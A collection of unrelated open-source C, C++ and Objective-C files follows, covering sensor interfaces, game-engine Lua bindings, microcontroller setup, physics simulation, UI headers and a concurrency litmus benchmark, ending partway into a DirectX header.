virtual vector readGyro() = 0; // In body coords, with units = rad/sec
void read(){ readAcc(); readMag(); readGyro(); }
virtual IMU& measureOffsets() = 0;
virtual IMU& enable() = 0;
virtual IMU& loadCalibration() = 0;
vector gyro_offset;
int_vector mag_min, mag_max;
int_vector raw_m, raw_a, raw_g;
};
#endif
|
/*****************************************************************************
*
* PROJECT: Multi Theft Auto v1.0
* LICENSE: See LICENSE in the top level directory
* FILE: mods/deathmatch/logic/luadefs/CLuaElementDefs.h
* PURPOSE: Lua element definitions class
* DEVELOPERS: Christian Myhre Lundheim <>
* Jax <>
* lil_Toady <>
*
* Multi Theft Auto is available from http://www.multitheftauto.com/
*
*****************************************************************************/
#ifndef __CLUAELEMENTDEFS_H
#define __CLUAELEMENTDEFS_H
#include "CLuaDefs.h"
class CLuaElementDefs: public CLuaDefs
{
public:
static void LoadFunctions ( void );
// Create/destroy
static int createElement ( lua_State* luaVM );
static int destroyElement ( lua_State* luaVM );
static int cloneElement ( lua_State* luaVM );
// Is/get
static int isElement ( lua_State* luaVM );
static int isElementWithinColShape ( lua_State* luaVM );
static int isElementWithinMarker ( lua_State* luaVM );
static int getElementChildren ( lua_State* luaVM );
static int getElementChild ( lua_State* luaVM );
static int getElementChildrenCount ( lua_State* luaVM );
static int getElementID ( lua_State* luaVM );
static int getElementByID ( lua_State* luaVM );
static int getElementByIndex ( lua_State* luaVM );
static int getAllElementData ( lua_State* luaVM );
static int getElementParent ( lua_State* luaVM );
static int getElementPosition ( lua_State* luaVM );
static int getElementRotation ( lua_State* luaVM );
static int getElementVelocity ( lua_State* luaVM );
static int getElementType ( lua_State* luaVM );
static int getElementsByType ( lua_State* luaVM );
static int getElementInterior ( lua_State* luaVM );
static int getElementsWithinColShape ( lua_State* luaVM );
static int getElementDimension ( lua_State* luaVM );
static int getElementZoneName ( lua_State* luaVM );
static int getElementColShape ( lua_State* luaVM );
static int getElementAlpha ( lua_State* luaVM );
static int isElementDoubleSided ( lua_State* luaVM );
static int getElementHealth ( lua_State* luaVM );
static int getElementModel ( lua_State* luaVM );
static int isElementInWater ( lua_State* luaVM );
static int getElementSyncer ( lua_State* luaVM );
static int getElementCollisionsEnabled ( lua_State* luaVM );
static int isElementFrozen ( lua_State* luaVM );
static int getLowLODElement ( lua_State* luaVM );
static int isElementLowLOD ( lua_State* luaVM );
// Visible to
static int clearElementVisibleTo ( lua_State* luaVM );
static int isElementVisibleTo ( lua_State* luaVM );
static int setElementVisibleTo ( lua_State* luaVM );
// Element data
static int getElementData ( lua_State* luaVM );
static int setElementData ( lua_State* luaVM );
static int removeElementData ( lua_State* luaVM );
// Attachement
static int attachElements ( lua_State* luaVM );
static int detachElements ( lua_State* luaVM );
static int isElementAttached ( lua_State* luaVM );
static int getAttachedElements ( lua_State* luaVM );
static int getElementAttachedTo ( lua_State* luaVM );
static int setElementAttachedOffsets ( lua_State* luaVM );
static int getElementAttachedOffsets ( lua_State* luaVM );
// Set
static int setElementID ( lua_State* luaVM );
static int setElementParent ( lua_State* luaVM );
static int setElementPosition ( lua_State* luaVM );
static int setElementRotation ( lua_State* luaVM );
static int setElementVelocity ( lua_State* luaVM );
static int setElementInterior ( lua_State* luaVM );
static int setElementDimension ( lua_State* luaVM );
static int setElementAlpha ( lua_State* luaVM );
static int setElementDoubleSided ( lua_State* luaVM );
static int setElementHealth ( lua_State* luaVM );
static int setElementModel ( lua_State* luaVM );
static int setElementSyncer ( lua_State* luaVM );
static int setElementCollisionsEnabled ( lua_State* luaVM );
static int setElementFrozen ( lua_State* luaVM );
static int setLowLODElement ( lua_State* luaVM );
};
#endif
|
#ifndef __KEYBOARD_H__
#define __KEYBOARD_H__
#include <xboot.h>
#include <input/input.h>
enum key_code {
KEY_CTRL_A = 0x0001,
KEY_CTRL_B = 0x0002,
KEY_CTRL_C = 0x0003,
KEY_CTRL_D = 0x0004,
KEY_CTRL_E = 0x0005,
KEY_CTRL_F = 0x0006,
KEY_CTRL_G = 0x0007,
KEY_CTRL_H = 0x0008,
KEY_CTRL_I = 0x0009,
KEY_CTRL_J = 0x000a,
KEY_CTRL_K = 0x000b,
KEY_CTRL_L = 0x000c,
KEY_CTRL_M = 0x000d,
KEY_CTRL_N = 0x000e,
KEY_CTRL_O = 0x000f,
KEY_CTRL_P = 0x0010,
KEY_CTRL_Q = 0x0011,
KEY_CTRL_R = 0x0012,
KEY_CTRL_S = 0x0013,
KEY_CTRL_T = 0x0014,
KEY_CTRL_U = 0x0015,
KEY_CTRL_V = 0x0016,
KEY_CTRL_W = 0x0017,
KEY_CTRL_X = 0x0018,
KEY_CTRL_Y = 0x0019,
KEY_CTRL_Z = 0x001a,
KEY_SPACE = 0x0020, /* */
KEY_EXCLAMATION_MARK = 0x0021, /* ! */
KEY_QUOTATION_MARK = 0x0022, /* " */
KEY_POUNDSIGN = 0x0023, /* # */
KEY_DOLLAR = 0x0024, /* $ */
KEY_PERCENT = 0x0025, /* % */
KEY_AMPERSAND = 0x0026, /* & */
KEY_APOSTROPHE = 0x0027, /* ' */
KEY_PARENTHESIS_LEFT = 0x0028, /* ( */
KEY_PARENTHESIS_RIGHT = 0x0029, /* ) */
KEY_ASTERISK = 0x002a, /* * */
KEY_PLUS = 0x002b, /* + */
KEY_COMMA = 0x002c, /* , */
KEY_MINUS = 0x002d, /* - */
KEY_FULL_STOP = 0x002e, /* . */
KEY_SOLIDUS = 0x002f, /* / */
KEY_0 = 0x0030,
KEY_1 = 0x0031,
KEY_2 = 0x0032,
KEY_3 = 0x0033,
KEY_4 = 0x0034,
KEY_5 = 0x0035,
KEY_6 = 0x0036,
KEY_7 = 0x0037,
KEY_8 = 0x0038,
KEY_9 = 0x0039,
KEY_COLON = 0x003a, /* : */
KEY_SEMICOLON = 0x003b, /* ; */
KEY_LESS_THAN = 0x003c, /* < */
KEY_EQUAL = 0x003d, /* = */
KEY_GREATER_THAN = 0x003e, /* > */
KEY_QUESTION_MARK = 0x003f, /* ? */
KEY_AT = 0x0040, /* @ */
KEY_A = 0x0041,
KEY_B = 0x0042,
KEY_C = 0x0043,
KEY_D = 0x0044,
KEY_E = 0x0045,
KEY_F = 0x0046,
KEY_G = 0x0047,
KEY_H = 0x0048,
KEY_I = 0x0049,
KEY_J = 0x004a,
KEY_K = 0x004b,
KEY_L = 0x004c,
KEY_M = 0x004d,
KEY_N = 0x004e,
KEY_O = 0x004f,
KEY_P = 0x0050,
KEY_Q = 0x0051,
KEY_R = 0x0052,
KEY_S = 0x0053,
KEY_T = 0x0054,
KEY_U = 0x0055,
KEY_V = 0x0056,
KEY_W = 0x0057,
KEY_X = 0x0058,
KEY_Y = 0x0059,
KEY_Z = 0x005a,
KEY_SQUARE_BRACKET_LEFT = 0x005b, /* [ */
KEY_REVERSE_SOLIDUS = 0x005c, /* \ */
KEY_SQUARE_BRACKET_RIGHT = 0x005d, /* ] */
KEY_CIRCUMFLEX_ACCENT = 0x005e, /* ^ */
KEY_LOW_LINE = 0x005f, /* _ */
KEY_GRAVE_ACCENT = 0x0060, /* ` */
KEY_a = 0x0061,
KEY_b = 0x0062,
KEY_c = 0x0063,
KEY_d = 0x0064,
KEY_e = 0x0065,
KEY_f = 0x0066,
KEY_g = 0x0067,
KEY_h = 0x0068,
KEY_i = 0x0069,
KEY_j = 0x006a,
KEY_k = 0x006b,
KEY_l = 0x006c,
KEY_m = 0x006d,
KEY_n = 0x006e,
KEY_o = 0x006f,
KEY_p = 0x0070,
KEY_q = 0x0071,
KEY_r = 0x0072,
KEY_s = 0x0073,
KEY_t = 0x0074,
KEY_u = 0x0075,
KEY_v = 0x0076,
KEY_w = 0x0077,
KEY_x = 0x0078,
KEY_y = 0x0079,
KEY_z = 0x007a,
KEY_CURLY_BRACKET_LEFT = 0x007b, /* { */
KEY_VERTICAL_LINE = 0x007c, /* | */
KEY_CURLY_BRACKET_RIGHT = 0x007d, /* } */
KEY_TILDE = 0x007e, /* ~ */
KEY_UP = 0x0080,
KEY_DOWN = 0x0081,
KEY_LEFT = 0x0082,
KEY_RIGHT = 0x0083,
KEY_TAB = 0x0084,
KEY_BACKSPACE = 0x0085,
KEY_ENTER = 0x0086,
KEY_HOME = 0x0087,
KEY_MENU = 0x0088,
KEY_BACK = 0x0089,
KEY_POWER = 0x008a,
KEY_RESET = 0x008b,
};
enum key_value {
KEY_BUTTON_UP = 0,
KEY_BUTTON_DOWN = 1,
};
typedef void (*handler_onkeyraw)(struct input_event * event);
typedef void (*handler_onkeyup)(enum key_code key);
typedef void (*handler_onkeydown)(enum key_code key);
bool_t install_listener_onkeyraw(handler_onkeyraw raw);
bool_t remove_listener_onkeyraw(handler_onkeyraw raw);
bool_t install_listener_onkeyup(handler_onkeyup keyup);
bool_t remove_listener_onkeyup(handler_onkeyup keyup);
bool_t install_listener_onkeydown(handler_onkeydown keydown);
bool_t remove_listener_onkeydown(handler_onkeydown keydown);
#endif /* __KEYBOARD_H__ */
|
/*
* Copyright 2015, Jacques Deschênes
* This file is part of PICVisionPortable.
*
* PICVisionPortable is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* PICVisionPortable is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with PICVisionPortable. If not, see <http://www.gnu.org/licenses/>.
*/
#include <xc.h>
#include "HardwareProfile.h"
volatile uint32_t systick; // millisecond ticks
volatile uint16_t game_timer;
#if SDC_SUPPORT
#include "../FAT/sd_raw.h"
bool sdcard_available=false;
#endif
void HardwareInit(){
// clock setting
CLKDIV=0;
// systick timer configuration
SYSTICK_IPC &= ~(7<<12); //remet niveau à zéro T1IPL
SYSTICK_IPC |= 1<<12; // met niveau à 1 T1IPL
SYSTICK_IF=0;
SYSTICK_IE=1;
systick=0;
PR1=FCY/1000;
T1CON=0xA000;
// tone init
TONE_TRIS &= ~(TONE1_OUT|TONE2_OUT);
TONE1_PIN_PPS=TONE1_OUT_FN; // select OCx on audio_out pin
TONE1_OCCON=(1<<13);
TONE1_TMRCON = (1<<13);
TONE1_IPC=3;
TONE2_PIN_PPS=TONE2_OUT_FN;
TONE2_OCCON=(1<<13)|(1<<3);
TONE2_TMRCON=(1<<13);
// LCD port configuraton
LCD_LAT &= ~(LCD_PINS|LCD_RST); // 0 volt on all LCD pins
LCD_ODC |= LCD_PINS|LCD_RST; // LCD pins configured Open Drain.
LCD_TRIS &= ~(LCD_PINS|LCD_RST); // LCD pins all outputs.
// Keypad input pins
TRISA = KP_MASK;
// no analog input
AD1PCFG=0xffff;
#if SDC_SUPPORT
sdcard_available=sd_raw_init();
#endif
// lock PPS configuration
asm("mov #0x46, W0\n"
"mov W0, OSCCON\n"
"mov #0x57, W0\n"
"mov W0, OSCCON\n"
"bset OSCCON, #6\n");
}//f()
#include "../tone.h"
void pause(uint16_t msec){
uint32_t t0;
t0=systick+msec;
while (systick<t0);
}//f()
void __attribute__((interrupt,no_auto_psv)) _T1Interrupt(void){
systick++;
if (tone_timer[1]){
tone_timer[1]--;
if (!tone_timer[1]){
tone1_off();
}
}
if (tone_timer[2]){
tone_timer[2]--;
if (!tone_timer[2]){
tone2_off();
}
}
if (game_timer){
game_timer--;
}
SYSTICK_IF=0;
}//f()
|
//---------------------------------------------------------------------------
/*
Project Richel Bilderbeek, Richel Bilderbeek's work
Copyright (C) 2010-2015 Richel Bilderbeek
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.If not, see <http://www.gnu.org/licenses/>.
*/
//---------------------------------------------------------------------------
//From http://www.richelbilderbeek.nl/ProjectRichelBilderbeek.htm
//---------------------------------------------------------------------------
#ifndef QTRICHELBILDERBEEKPROGRAM_H
#define QTRICHELBILDERBEEKPROGRAM_H
#include "memory"
#include "qthideandshowdialog.h"
#include "richelbilderbeekprogramtype.h"
#include "qthideandshowdialog.h"
namespace ribi {
struct QtRichelBilderbeekProgram
{
QtRichelBilderbeekProgram() {}
///Create the menu dialog corresponding to the program type
///Might return a nullprt, if the program type has no menu
std::unique_ptr<QtHideAndShowDialog> CreateQtMenuDialog(const ProgramType type) const noexcept;
};
} //~namespace ribi
#endif // QTRICHELBILDERBEEKPROGRAM_H
|
//
// XBYCustomFilterCell.h
// XBYMobileProject
//
// Created by xby on 2017/4/18.
// Copyright © 2017年 xby. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "TagListView.h"
#import "TagView.h"
@class TagView;
@interface XBYCustomFilterCell : UITableViewCell
- (void)setContentWithTagList:(NSArray *)list
tapTagBlock:(void(^)(TagView *tagView))tapTagBlock;
@end
@interface TagListView (ReloadTags)
- (void)reloadListViewWithTagList:(NSArray *)list;
@end
@interface TagView (Selection)
- (void)setSelected:(BOOL)selected;
@end
|
#pragma once
#include "sqltablemodel.h"
#include <QWidget>
namespace Ui {
class WidgetCompraConfirmar;
}
class WidgetCompraConfirmar final : public QWidget {
Q_OBJECT
public:
explicit WidgetCompraConfirmar(QWidget *parent);
~WidgetCompraConfirmar();
auto resetTables() -> void;
auto updateTables() -> void;
private:
// attributes
bool isSet = false;
SqlTableModel modelCompras;
SqlTableModel modelResumo;
Ui::WidgetCompraConfirmar *ui;
// methods
auto confirmarCompra(const QString &ordemCompra, const QDate dataPrevista, const QDate dataConf) -> void;
auto on_pushButtonCancelarCompra_clicked() -> void;
auto on_pushButtonConfirmarCompra_clicked() -> void;
auto on_pushButtonFollowup_clicked() -> void;
auto on_pushButtonLimparFiltro_clicked() -> void;
auto on_tableResumo_clicked(const QModelIndex &index) -> void;
auto on_table_doubleClicked(const QModelIndex &index) -> void;
auto setConnections() -> void;
auto setupTables() -> void;
};
|
#include "fargo3d.h"
void ComputeMHD(real dt) {
// EMF in x
FARGO_SAFE(ComputeSlopes(0,0,1,Vy,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,0,1,By,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,1,0,Vz,Slope_v2));
FARGO_SAFE(ComputeSlopes(0,1,0,Bz,Slope_b2));
FARGO_SAFE(ComputeStar(dt, 0,1,0, 0,0,1, 1, B1_star,V1_star,Slope_b2,Slope_v2,Slope_b1,Slope_v1));
FARGO_SAFE(ComputeStar(dt, 0,0,1, 0,1,0, 1, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeEmf(dt, 1, 0, 0, B1_star, V1_star, B2_star, V2_star));
// EMF in y
FARGO_SAFE(ComputeSlopes(1,0,0,Vz,Slope_v1));
FARGO_SAFE(ComputeSlopes(1,0,0,Bz,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,0,1,Vx,Slope_v2));
FARGO_SAFE(ComputeSlopes(0,0,1,Bx,Slope_b2));
FARGO_SAFE(ComputeStar(dt, 0,0,1, 1,0,0, 1, B1_star,V1_star,Slope_b2,Slope_v2,Slope_b1,Slope_v1));
FARGO_SAFE(ComputeStar(dt, 1,0,0, 0,0,1, 1, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeEmf(dt, 0, 1, 0, B1_star, V1_star, B2_star, V2_star));
// EMF in z
FARGO_SAFE(ComputeSlopes(0,1,0,Vx,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,1,0,Bx,Slope_b1));
FARGO_SAFE(ComputeSlopes(1,0,0,Vy,Slope_v2));
FARGO_SAFE(ComputeSlopes(1,0,0,By,Slope_b2));
FARGO_SAFE(ComputeStar(dt, 1,0,0, 0,1,0, 1, B1_star,V1_star,Slope_b2,Slope_v2,Slope_b1,Slope_v1));
FARGO_SAFE(ComputeStar(dt, 0,1,0, 1,0,0, 1, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeEmf(dt, 0, 0, 1, B1_star, V1_star, B2_star, V2_star));
//---------------------ADD RESISTIVE TERMS TO EMFs
FARGO_SAFE(Resist (1,0,0));
FARGO_SAFE(Resist (0,1,0));
FARGO_SAFE(Resist (0,0,1));
//-------------------------------------------------------
#ifndef PASSIVEMHD
FARGO_SAFE(ComputeSlopes(0,1,0,Bx,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,1,0,Vx,Slope_v1));
FARGO_SAFE(ComputeSlopes(1,0,0,By,Slope_b2));
FARGO_SAFE(ComputeSlopes(1,0,0,Vy,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 0,1,0, 1,0,0, 0, B1_star,V1_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeSlopes(0,0,1,Bx,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,0,1,Vx,Slope_v1));
FARGO_SAFE(ComputeSlopes(1,0,0,Bz,Slope_b2));
FARGO_SAFE(ComputeSlopes(1,0,0,Vz,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 0,0,1, 1,0,0, 0, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(LorentzForce(dt, B1_star, B2_star, 1, 0, 0));
FARGO_SAFE(ComputeSlopes(0,0,1,By,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,0,1,Vy,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,1,0,Bz,Slope_b2));
FARGO_SAFE(ComputeSlopes(0,1,0,Vz,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 0,0,1, 0,1,0, 0, B1_star,V1_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeSlopes(1,0,0,By,Slope_b1));
FARGO_SAFE(ComputeSlopes(1,0,0,Vy,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,1,0,Bx,Slope_b2));
FARGO_SAFE(ComputeSlopes(0,1,0,Vx,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 1,0,0, 0,1,0, 0, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(LorentzForce(dt, B1_star, B2_star, 0, 1, 0));
FARGO_SAFE(ComputeSlopes(1,0,0,Bz,Slope_b1));
FARGO_SAFE(ComputeSlopes(1,0,0,Vz,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,0,1,Bx,Slope_b2));
FARGO_SAFE(ComputeSlopes(0,0,1,Vx,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 1,0,0, 0,0,1, 0, B1_star,V1_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(ComputeSlopes(0,1,0,Bz,Slope_b1));
FARGO_SAFE(ComputeSlopes(0,1,0,Vz,Slope_v1));
FARGO_SAFE(ComputeSlopes(0,0,1,By,Slope_b2));
FARGO_SAFE(ComputeSlopes(0,0,1,Vy,Slope_v2));
FARGO_SAFE(ComputeStar(dt, 0,1,0, 0,0,1, 0, B2_star,V2_star,Slope_b1,Slope_v1,Slope_b2,Slope_v2));
FARGO_SAFE(LorentzForce(dt, B1_star, B2_star, 0, 0, 1));
#endif
}
void ComputeDivergence(Field *CompX, Field *CompY, Field *CompZ){
int i,j,k;
real *bx,*by,*bz,*d;
real *sxj;
real *sxk;
real *syj;
real *syk;
real *szj;
real *szk;
INPUT (CompX);
INPUT (CompY);
INPUT (CompZ);
OUTPUT (Divergence);
bx = CompX->field_cpu;
by = CompY->field_cpu;
bz = CompZ->field_cpu;
d = Divergence->field_cpu;
sxj = Sxj;
sxk = Sxk;
syj = Syj;
syk = Syk;
szj = Szj;
szk = Szk;
i = j = k = 0;
for (k=0; k<Nz+2*NGHZ-1; k++) {
for (j=0; j<Ny+2*NGHY-1; j++) {
for (i=0; i<Nx; i++) {
d[l] = (bx[lxp]-bx[l])*SurfX(j,k);
d[l]+= by[lyp]*SurfY(j+1,k);
d[l]-= by[l] *SurfY(j,k);
d[l]+= bz[lzp]*SurfZ(j,k+1);
d[l]-= bz[l] *SurfZ(j,k);
}
}
}
}
|
//
// RoomViewController.h
// ChatDemo
//
// Created by acumen on 16/4/27.
// Copyright © 2016年 acumen. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "XMPPMessageArchivingCoreDataStorage.h"
#import "SVProgressHUD.h"
#import "RoomViewController.h"
#import "XMPPRoomMemoryStorage.h"
#import "XMPPFramework.h"
#import "XMPPRoom.h"
#import "XMPP.h"
@interface RoomViewController : UIViewController
@property (strong, nonatomic) XMPPStream * xmppStream;
@property (strong, nonatomic) XMPPReconnect *xmppReconnect;
@property (strong, nonatomic) XMPPRoster *xmppRoster;
@property (strong, nonatomic) XMPPMessageArchiving *xmppMessageArchivering;
@property (strong, nonatomic) NSManagedObjectContext *messageManagerContext;
@property (strong, nonatomic) XMPPRoom *xmppRoom;
@property (strong, nonatomic) XMPPMUC *xmppMUC;
@end
|
/*!
* \file Singleton.hpp
* \brief File containing the declaration of the Singleton template class.
*/
#ifndef SINGLETON_HPP_
#define SINGLETON_HPP_
#include <boost/utility.hpp>
#include <boost/thread/once.hpp>
#include <boost/scoped_ptr.hpp>
/*!
* \class Singleton
* \brief Template singleton class, implemented in a Boost-singleton manner.
* Object is stored in scoped_ptr and instance initialization is protected by Boost::call_once.
* Warning: If T's constructor throws, instance() will return a null reference.
*/
namespace Templates {
template<class T>
class Singleton : private boost::noncopyable
{
public:
/*!
* Method returns a non-copyable reference to stored object instance.
*/
static T& instance()
{
// Initialize object only once.
//std::cout<<std::endl<<"singleton instance called"<<std::endl<<std::endl;
boost::call_once(initSingleton, flag);
// Return reference to object.
return *t;
}
protected:
Singleton() {}
//virtual ~Singleton() {}
~Singleton() {}
private:
/*!
* Method initializates the object and calls it's constructor.
*/
static void initSingleton()
{
// Call constructor of the T object.
//std::cout<<std::endl<<"singleton init called"<<std::endl<<std::endl;
t.reset(new T());
}
static boost::scoped_ptr<T> t;
static boost::once_flag flag;
};
}
/*!
* Initialization of scoped pointer.
*/
template<class T> boost::scoped_ptr<T> Templates::Singleton<T>::t(0);
/*!
* Initialization of once_flag.
*/
template<class T> boost::once_flag Templates::Singleton<T>::flag = BOOST_ONCE_INIT;
#endif /* SINGLETON_HPP_ */
|
/******************************************************************************/
* Moose3D is a game development framework.
*
* Copyright 2006-2013 Anssi Gröhn / entity at iki dot fi.
*
* This file is part of Moose3D.
*
* Moose3D is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Moose3D is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Moose3D. If not, see <http://www.gnu.org/licenses/>.
******************************************************************************/
#ifndef __MooseAlphaTestOperation_h__
#define __MooseAlphaTestOperation_h__
/////////////////////////////////////////////////////////////////
#include "MooseCore.h"
#include "MooseOGLConsts.h"
#include "MooseAPI.h"
/////////////////////////////////////////////////////////////////
namespace Moose
{
namespace Graphics
{
/////////////////////////////////////////////////////////////////
/// Class grouping alpha testing properties.
class MOOSE_API CAlphaTestOperation : public Moose::Core::CEnableable
{
private:
Moose::Graphics::ALPHA_TEST_TYPE m_tTestType;
float m_fRefValue;
public:
////////////////////
/// Constructor.
CAlphaTestOperation() : m_tTestType(Moose::Graphics::ALPHA_ALWAYS), m_fRefValue(0.0f) {}
////////////////////
/// Assigns test type.
/// \param tType ALPHA_TEST_TYPE.
inline void SetTest( Moose::Graphics::ALPHA_TEST_TYPE tType )
{
m_tTestType = tType;
}
////////////////////
/// Returns current alpha test.
/// \returns Current ALPHA_TEST_TYPE.
inline Moose::Graphics::ALPHA_TEST_TYPE GetTest() const
{
return m_tTestType;
}
////////////////////
/// Assigns reference value.
/// \param fValue Reference value to be set.
inline void SetReference( float fValue )
{
m_fRefValue = fValue;
}
////////////////////
/// Returns reference value.
/// \brief Returns current reference value.
inline float GetReference () const
{
return m_fRefValue;
}
};
}
}
/////////////////////////////////////////////////////////////////
#endif
|
#pragma once
#include <time.h>
class Timer
{
public:
Timer() {};
Timer(const double seconds)
{
this->seconds = seconds;
}
~Timer() {};
void SetNow(const double seconds)
{
this->seconds = seconds;
time(&timeSet);
}
bool TimeElapsed()
{
const double diffSeconds = difftime(time(NULL), timeSet);
return diffSeconds >= seconds ? true : false;
}
private:
double seconds;
time_t timeSet;
};
|
//
// CPCoreDataTestHelper.h
// SmileyCollage
//
// Created by wangyw on 4/15/14.
// Copyright (c) 2014 codingpotato. All rights reserved.
//
@interface CPCoreDataTestHelper : NSObject
@property (strong, nonatomic) NSManagedObjectContext *managedObjectContext;
@end
|
#ifndef CANNYDETECTION_H
#define CANNYDETECTION_H
#include "common_global.h"
#include "SupressOperator.h"
#include "RobinsonOperator.h"
#include <functional>
#include <QImage>
class COMMONSHARED_EXPORT CannyDetection
{
public:
typedef std::function<PixelsMatrix (const PixelsMatrix &in)> SupressOperatorType;
CannyDetection();
CannyDetection(int tMin, int tMax, double sigma);
double getSigma() const;
void setSigma(double value);
int getTMin() const;
void setTMin(int value);
int getTMax() const;
void setTMax(int value);
QImage operator() (const QImage &in) const;
void setSupressOperator(SupressOperatorType &&value);
private:
double sigma = 1.0;
int tMin = 45;
int tMax = 50;
SupressOperatorType supressOperator = RobinsonOperator();
};
#endif // CANNYDETECTION_H
|
/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
* This benchmark is part of SWSC */
#include <assert.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
atomic_int vars[3];
atomic_int atom_1_r1_1;
atomic_int atom_1_r7_0;
void *t0(void *arg){
label_1:;
atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
atomic_store_explicit(&vars[1], 1, memory_order_seq_cst);
return NULL;
}
void *t1(void *arg){
label_2:;
int v2_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
int v4_r3 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
int v5_r4 = v4_r3 ^ v4_r3;
atomic_store_explicit(&vars[2+v5_r4], 1, memory_order_seq_cst);
int v7_r7 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
int v11 = (v2_r1 == 1);
atomic_store_explicit(&atom_1_r1_1, v11, memory_order_seq_cst);
int v12 = (v7_r7 == 0);
atomic_store_explicit(&atom_1_r7_0, v12, memory_order_seq_cst);
return NULL;
}
int main(int argc, char *argv[]){
pthread_t thr0;
pthread_t thr1;
atomic_init(&vars[1], 0);
atomic_init(&vars[2], 0);
atomic_init(&vars[0], 0);
atomic_init(&atom_1_r1_1, 0);
atomic_init(&atom_1_r7_0, 0);
pthread_create(&thr0, NULL, t0, NULL);
pthread_create(&thr1, NULL, t1, NULL);
pthread_join(thr0, NULL);
pthread_join(thr1, NULL);
int v8 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
int v9 = atomic_load_explicit(&atom_1_r7_0, memory_order_seq_cst);
int v10_conj = v8 & v9;
if (v10_conj == 1) assert(0);
return 0;
}
|
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by Lab3.rc
//
#define IDC_MYICON 2
#define IDD_LAB3_DIALOG 102
#define IDS_APP_TITLE 103
#define IDD_ABOUTBOX 103
#define IDD_MAINWINDOW 103
#define IDM_ABOUT 104
#define IDM_EXIT 105
#define IDI_LAB3 107
#define IDI_SMALL 108
#define IDC_LAB3 109
#define IDR_MAINFRAME 128
#define IDC_SLIDER_X 1000
#define IDC_SLIDER_X1 1000
#define IDC_SLIDER_Y 1001
#define IDC_SLIDER_Y1 1001
#define IDC_SLIDER_Z 1002
#define IDC_SLIDER_Z1 1002
#define IDC_SLIDER_X2 1003
#define IDC_BUTTON_RESETX 1004
#define IDC_BUTTON_RESETX1 1004
#define IDC_BUTTON_RESETY 1005
#define IDC_BUTTON_RESETY1 1005
#define IDC_BUTTON_RESETZ 1006
#define IDC_BUTTON_RESETZ1 1006
#define IDC_STATIC_POSITION 1007
#define IDC_STATIC_POSITION1 1007
#define IDC_SLIDER_Y2 1008
#define IDC_BUTTON_RESETALL 1008
#define IDC_SLIDER_Z2 1009
#define IDC_BUTTON_RESETX2 1010
#define IDC_BUTTON_RESETY2 1011
#define IDC_BUTTON_RESETZ2 1012
#define IDC_STATIC_POSITION2 1013
#define IDC_CHECK1 1014
#define IDC_CHECKBOX_LABELS 1014
#define IDC_CHECKBOX_LABELS2 1015
#define IDC_CHECKBOX_WRAPPERS 1015
#define IDC_LISTOFPOINTS 1019
#define IDC_STATIC -1
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NO_MFC 1
#define _APS_NEXT_RESOURCE_VALUE 129
#define _APS_NEXT_COMMAND_VALUE 32771
#define _APS_NEXT_CONTROL_VALUE 1020
#define _APS_NEXT_SYMED_VALUE 110
#endif
#endif
|
/**
** Hatchit Engine
** Copyright(c) 2015-2016 Third-Degree
**
** GNU Lesser General Public License
** This file may be used under the terms of the GNU Lesser
** General Public License version 3 as published by the Free
** Software Foundation and appearing in the file LICENSE.LGPLv3 included
** in the packaging of this file. Please review the following information
** to ensure the GNU Lesser General Public License requirements
** will be met: https://www.gnu.org/licenses/lgpl.html
**
**/
#pragma once
#include <ht_platform.h>
#include <ht_directx.h>
namespace Hatchit {
namespace Graphics {
namespace DX
{
